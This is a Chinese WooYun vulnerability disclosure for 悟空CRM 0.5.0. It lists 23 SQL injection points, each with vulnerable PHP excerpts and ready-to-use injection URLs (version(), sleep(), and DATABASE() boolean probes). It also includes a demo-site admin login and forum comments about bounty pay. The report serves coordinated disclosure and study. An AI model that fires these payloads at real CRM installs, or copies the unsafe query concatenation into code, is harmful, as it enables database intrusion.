当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2015-105058

漏洞标题: 悟空CRM系统23处注入打包(需要登陆)

相关厂商: 5kcrm.com

漏洞作者: Mr .LZH

提交时间: 2015-04-15 15:16

公开时间: 2015-07-17 10:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-15: 细节已通知厂商并且等待厂商处理中
2015-04-18: 厂商已经确认,细节仅向厂商公开
2015-04-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-06-12: 细节向核心白帽子及相关领域专家公开
2015-06-22: 细节向普通白帽子公开
2015-07-02: 细节向实习白帽子公开
2015-07-17: 细节向公众公开

简要描述:

23处sql注入,rank值最多20,平均一个注入不到1rank,在这个时代,漏洞好便宜。

详细说明:

开源程序:悟空CRM

发布日期:2015/03/12 版本号:0.5.0 Beta

其他版本未测。



悟空CRM采用了thinkphp3.0框架,由于程序员没有遵循规范,造成sql注入。

系统存在一些过滤,需要花些时间绕过。

code 区域
https://**.**.**.**/s?wd=%E6%82%9F%E7%A9%BACRM%20%C2%A9%20%E9%83%91%E5%B7%9E%E5%8D%A1%E5%8D%A1%E7%BD%97%E7%89%B9%E8%BD%AF%E4%BB%B6%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8%202013&rsv_spt=1&issp=1&f=8&rsv_bp=0&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&rsv_sug3=1



文件路径都在App\Lib\Action下。

注入1:

code 区域
KnowledgeAction 277行
index.php?m=Knowledge&a=categoryEdit&id=1 and version()>5

public function categoryEdit(){
if($_GET['id']){
$knowledge_category = M('knowledgeCategory');
$category_list = $knowledge_category -> select();
$this->assign('category_list', getSubCategory(0, $category_list, ''));
$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();
$this->display();
}elseif($_POST['submit']){
$knowledge_category = M('knowledgeCategory');
$knowledge_category -> create();
if($knowledge_category -> save()){
alert('success',L('UPDATE_CATEGORY_INFO_SUCCESS'),U('knowledge/category'));
}else{
alert('error',L('DATA_UNCHANGE_UPDATE_CATEGORY_INFO_FAILY'),$_SERVER['HTTP_REFERER']);
}
}else{
$this->error(L('PARAMETER_ERROR'));
}
}



$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();存在注入。

访问/index.php?m=Knowledge&a=categoryEdit&id=1 and version()>5

1.jpg



QQ截图20150331200609.jpg





注入2:

code 区域
UserAction 817行
index.php?m=User&a=department_edit&id=1 and version()>5

elseif($_GET['id']){
$department = M('roleDepartment');
$this->assign('vo',$department->where('department_id=' . $_GET['id'])->find());

$department_list = $department->select();

foreach($department_list as $key=>$value){
if($value['department_id'] == $_GET['id']){
unset($department_list[$key]);
}
if($value['parent_id'] == $_GET['id']){
unset($department_list[$key]);
}
}
$this->assign('departmentList', getSubDepartment(0,$department_list,''));
$this->display();
}else{



$this->assign('vo',$department->where('department_id=' . $_GET['id'])->find());存在注入。

2.jpg





注入3:

code 区域
SettingAction 545行
index.php?m=Setting&a=statusflowEdit&id=1 and version()>5

public function statusflowEdit(){
if ($this->isGet()) {
$flow = M('BusinessStatusFlow')->where("flow_id =" . $_GET['id'])->find();
$this->flow = $flow;
$this->data = unserialize($flow['data']);
$this->statusList = M('BusinessStatus')->select();
$this->display();
} elseif($this->isPost()) {



$flow = M('BusinessStatusFlow')->where("flow_id =" . $_GET['id'])->find();存在注入。



注入4:

code 区域
ProductAction 14行

public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
$field = M('Fields')->where('model = "product" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_product = $field['is_main'] ? D('Product') : D('ProductData');
$where[$this->_request('clientid','trim')] = array('eq',$this->_request($this->_request('clientid','trim'),'trim'));
if($this->_request('id','intval',0)){
$where[$m_product->getpk()] = array('neq',$this->_request('id','intval',0));
}



$field = M('Fields')->where('model = "product" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。



这里需要满足2个条件:

1.$this->isAjax() 这里只要在http头的X-Requested-With赋值XMLHttpRequest可通过。

2.if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);

相当于$clientid和$$clientid存在则通过。

后面也存在类似案例,不再细致分析。



注入5:

code 区域
ProductAction 616行
index.php?m=Product&a=listDialog&r=product&id=1&module=1 and sleep(5))%23aaaaa

}elseif ($_GET['r'] && $_GET['module'] && $_GET['id']) {
$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);
$id_array[] = 0;
$this -> r = $_GET['r'];
$this -> module = $_GET['module'];
$this -> model_id = $_GET['id'];
$d_product = D('ProductView');
$a = $d_product->where('product_id not in (%s)', implode(',',$id_array))->select();
$this->list = $a;
$this->display();
}else{



$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);存在注入。



注入6:

code 区域
ProductAction 645行
index.php?m=Product&a=addDialog&r=product&id=1&module=1 and sleep(5))%23aaaaa

}elseif ($_GET['r'] && $_GET['module'] && $_GET['id']) {
$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);
$id_array[] = 0;
$this -> r = $_GET['r'];
$this -> module = $_GET['module'];
$this -> model_id = $_GET['id'];
$d_product = D('ProductView');
$a = $d_product->where('product_id not in (%s)', implode(',',$id_array))->select();
$this->list = $a;
$this->display();
}else{



$id_array = M($_GET['r']) -> where($_GET['module'] . '_id = %d', $_GET['id']) -> getField('product_id', true);存在注入。



注入7:

code 区域
ProductAction 813行
index.php?m=Product&a=category_edit&id=1 and version()>5

public function category_edit(){
if($_GET['id']){
$product_category = M('product_category');
$category_list = $product_category->select();
$this->assign('category_list', getSubCategory(0, $category_list, ''));
$product_category = M('product_category');
$categoryList = $product_category->select(); //读取分类列表 加载下拉框
foreach($categoryList as $key=>$value){
if($value['category_id'] == $_GET['id']){
unset($categoryList[$key]);
}
}

$this->category_list = $categoryList;
$this->temp =$product_category->where('category_id = ' . $_GET['id'])->find();

$this->display();



$this->temp =$product_category->where('category_id = ' . $_GET['id'])->find();存在注入。



注入8:

code 区域
Permission 55行

public function module_delete(){
$module = M('ControlModule');
if($_POST['module_list']){
if($module->where('module_id in (%s)', join($_POST['module_list'],','))->delete()){
alert('success', L('MODULE_WAS_REMOVED_SUCCESSFULLY'),$_SERVER['HTTP_REFERER']);
}else{
alert('error', L('MODULE_WAS_REMOVED_FAILURE'),$_SERVER['HTTP_REFERER']);
}
}elseif($module->where('module_id =' . $_GET['id'])->delete()){
alert('success', L('MODULE_WAS_REMOVED_SUCCESSFULLY'),$_SERVER['HTTP_REFERER']);
}else{
alert('error', L('MODULE_WAS_REMOVED_FAILURE_PLEASE_CONTACT_YOUR_ADMINISTRATOR'),$_SERVER['HTTP_REFERER']);
}
}



if($module->where('module_id in (%s)', join($_POST['module_list'],','))->delete()){存在注入。



注入9,10:

code 区域
Permission 65行
Permission 72行

public function module_edit(){
$module = M('ControlModule');
if($_GET['id']){
$this->vo = $module->where('module_id =' . $_GET['id'])->find();
$this->display();
}elseif($_POST['name']){
$module = D('ControlModule');
if($module->create()){
$data['name'] = $_POST['name'];
$data['description'] = $_POST['description'];
if($module->where('module_id =' . $_POST['module_id'])->save($data)){
alert('success', L('MODULE_MODIFICATION_OF_SUCCESS'),$_SERVER['HTTP_REFERER']);
}else{
alert('error', L('COUNTLESS_ACCORDING_TO_THE_CHANGE_FAILED_TO_MODIFY_MODULE'),$_SERVER['HTTP_REFERER']);
}
} else {
alert('error', L('MODIFY_THE_ERROR_PLEASE_CONTACT_YOUR_ADMINISTRATOR'),$_SERVER['HTTP_REFERER']);
}
}
}



$this->vo = $module->where('module_id =' . $_GET['id'])->find();

if($module->where('module_id =' . $_POST['module_id'])->save($data)){存在注入。



注入11:

code 区域
Permission 151行

}elseif($control->create()){
$url =explode('/',$_POST['url']);
$m = $url[0];
$a = $url[1];
$data['m'] = $m;
$data['a'] = $a;
$data['name'] = $_POST['name'];
$data['description'] = $_POST['description'];
$data['parameter'] = $_POST['parameter'];
$data['module_id'] = $_POST['module_id'];
if($control->where('control_id =' . $_POST['control_id'])->save($data)){
alert('success', L('OPERATION_IS_CHANGED'),$_SERVER['HTTP_REFERER']);
}else{



if($control->where('control_id =' . $_POST['control_id'])->save($data)){存在注入。



注入12:

code 区域
Permission 162行

$module = M('ControlModule');
$this->moduleList = $module->select();
if($_GET['id']){
$this->vo = $control->where('control_id = ' . $_GET['id'])->find();
$this->display();
}else{
alert('error', L('MODIFIED_FAILURE_PARAMETER_ERROR'),$_SERVER['HTTP_REFERER']);
}



$this->vo = $control->where('control_id = ' . $_GET['id'])->find();存在注入。



注入13:

code 区域
Permission 179行

}elseif($_GET['id']){
if($control->where('control_id =' . $_GET['id'])->delete()){
alert('success', L('DELETED SUCCESSFULLY'),$_SERVER['HTTP_REFERER']);
} else {
alert('error', L('DELETE FAILED'),$_SERVER['HTTP_REFERER']);
}
}else{



if($control->where('control_id =' . $_GET['id'])->delete()){存在注入。



注入14:

code 区域
Permission 196行

public function authorize(){
if($_GET['by'] == 'permission'){
if($_POST['control_id']){
$roleList = $_POST['roleList'];
$permission = M('UserPermission');
$data['control_id'] = $_POST['control_id'];

$temp = $permission->where('control_id =' . $_POST['control_id'])->select();
$idList = array();



$temp = $permission->where('control_id =' . $_POST['control_id'])->select();存在注入。



注入15:

code 区域
Permission 230行

if($_GET['control_id']){
$where = isset($_GET['control_id'])?'control_id =' . $_GET['control_id']:'';
$role = M('UserRole');
$role_list = array();
$permission = M('UserPermission');
$department = M('UserDepartment');
$permissionList = $permission->where($where)->select();



$permissionList = $permission->where($where)->select();存在注入。



注入16:

code 区域
Permission 257行

if($_POST['role_id']){
$controlList = $_POST['controlList'];
$permission = M('UserPermission');
$data['role_id'] = $_POST['role_id'];

$temp = $permission->where('role_id =' . $_POST['role_id'])->select();
$idList = array();



$temp = $permission->where('role_id =' . $_POST['role_id'])->select();存在注入。



注入17:

code 区域
Permission 291行

if($_GET['role_id']){
$where = isset($_GET['role_id'])?'role_id =' . $_GET['role_id']:'';
$module = M('ControlModule');
$permission = M('UserPermission');
$control = M('Control');
$controlList = $module->select();
$existsList = $permission->where($where)->select();
foreach($controlList as $key=>$value){



$existsList = $permission->where($where)->select();存在注入。



注入18:

code 区域
Leads 74行

public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
$field = M('Fields')->where('model = "leads" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_leads = $field['is_main'] ? D('Leads') : D('LeadsData');



$field = M('Fields')->where('model = "leads" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。



注入19:

code 区域
Knowledge 277行

public function categoryEdit(){
if($_GET['id']){
$knowledge_category = M('knowledgeCategory');
$category_list = $knowledge_category -> select();
$this->assign('category_list', getSubCategory(0, $category_list, ''));
$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();
$this->display();



$this->knowledge_category =$knowledge_category->where('category_id = ' . $_GET['id'])->find();存在注入。



注入20:

code 区域
Customer 64行

public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')) $this->ajaxReturn("","",3);
$field = M('Fields')->where('model = "customer" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_customer = $field['is_main'] ? D('Customer') : D('CustomerData');



$field = M('Fields')->where('model = "customer" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。



注入21:

code 区域
Customer 756行

if($m_customer->create()){
if($m_customer_data->create()!==false){
$m_customer->update_time = time();
$a = $m_customer->where('customer_id=' . $customer['customer_id'])->save();
$b = $m_customer_data->where('customer_id=' . $customer['customer_id'])->save();
if($a !== false && $b !== false){
if($_POST['contacts_id'] && ($_POST['contacts_id']!= $customer['contacts_id'])){
$rcc['contacts_id'] = intval($_POST['contacts_id']);
$rcc['customer_id'] = $customer['customer_id'];
M('RContactsCustomer')->add($rcc);
}
actionLog($customer['customer_id']);
alert('success', L('EDIT_CLIENTS_SUCCESS'), U('customer/index'));

}else{



$a = $m_customer->where('customer_id=' . $customer['customer_id'])->save();

$b = $m_customer_data->where('customer_id=' . $customer['customer_id'])->save();存在注入。



注入22:

code 区域
Contacts 68行

if($_GET['redirect']){
$this->redirect_id = $_GET['redirect_id'];
$this->redirect = $_GET['redirect'];
}
$customer = M('customer');
$this->customer_id =$customer_id = $_GET['customer_id'];
$this->customer_name =$customer->where('customer_id =%s',$customer_id)->getField('name');
$this->refer_url=$_SERVER['HTTP_REFERER'];
$this->customer = $customer->where('customer_id =' . $_GET['redirect_id'])->find();
$this->alert = parseAlert();
$this->display();



$this->customer = $customer->where('customer_id =' . $_GET['redirect_id'])->find();存在注入。



注入23:

code 区域
Business 71行

public function validate() {
if($this->isAjax()){
if(!$this->_request('clientid','trim') || !$this->_request($this->_request('clientid','trim'),'trim')){
$this->ajaxReturn("","",3);
}
$field = M('Fields')->where('model = "Business" and field = "'.$this->_request('clientid','trim').'"')->find();
$m_business = $field['is_main'] ? D('Business') : D('BusinessData');



$field = M('Fields')->where('model = "Business" and field = "'.$this->_request('clientid','trim').'"')->find();存在注入。

漏洞证明:

1.jpg



2.jpg



3.jpg



5.jpg



6.jpg



7.jpg







补充:

CRM系统一般部署在内网,而且需要员工账号登陆,比较难在互联网上复现。

公布在互联网上,且被搜索引擎收录的有385条,按照各大源码下载站,最新版本从2015/03/12到2015/4/1单站下载量就达到上万,用户量还算不少。

11.jpg



22.jpg





由于找不到互联网上的案例,就直接拿官网提供的试用网站证明。

地址:http://**.**.**.**

账号:admin 密码:123456a



使用注入点1证明。登陆后访问:http://**.**.**.**/index.php?m=Knowledge&a=categoryEdit&id=1 and 1=if(CAST(DATABASE() AS CHAR) like 'crm_pre',1,2)

(官网存在waf,手工注入后确认数据库名为:crm_pre)

33.jpg





访问:http://**.**.**.**/index.php?m=Knowledge&a=categoryEdit&id=1 and 1=if(CAST(DATABASE() AS CHAR) like 'wooyun',1,2) 没有结果。

44.jpg

修复方案:

使用框架规范编写。

版权声明:转载请注明来源 Mr .LZH@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-18 10:38

厂商回复:

谢谢反馈 修复中 近些天会发布修复补丁包

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2015-04-02 14:54 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    需要登录的话一般没啥用吧

  2. 2015-04-02 15:09 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)
    0

    @zcy 需要员工账号,可爆破得到,爆破员工账号还是挺容易的吧。而且CRM系统属于企业最重要的系统之一,危害程度可不小。

  3. 2015-04-15 15:21 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    0

    23处、、

  4. 2015-04-15 15:28 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)
    0

    @px1624 还是用thinkphp框架的。

  5. 2015-04-18 11:19 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)
    0

    @finger @疯狗 @xsser 0day大甩卖,一枚0.5rank

  6. 2015-07-17 12:31 | Hero ( 普通白帽子 | Rank:145 漏洞数:43 | 药药切克闹,充气娃娃迷幻药)
    0

    @Mr .LZH 这是多少钱

  7. 2015-08-19 01:12 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    23处才500吗?

  8. 2015-08-19 01:13 | Hero ( 普通白帽子 | Rank:145 漏洞数:43 | 药药切克闹,充气娃娃迷幻药)
    0

    @牛肉包子 一个钱的符号不是100~200?

  9. 2015-08-19 15:35 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)
    0

    @牛肉包子 500

  10. 2015-08-19 15:42 | Hero ( 普通白帽子 | Rank:145 漏洞数:43 | 药药切克闹,充气娃娃迷幻药)
    0

    @Mr .LZH 我以为一个钱的符号最多才200

登录后才能发表评论,请先 登录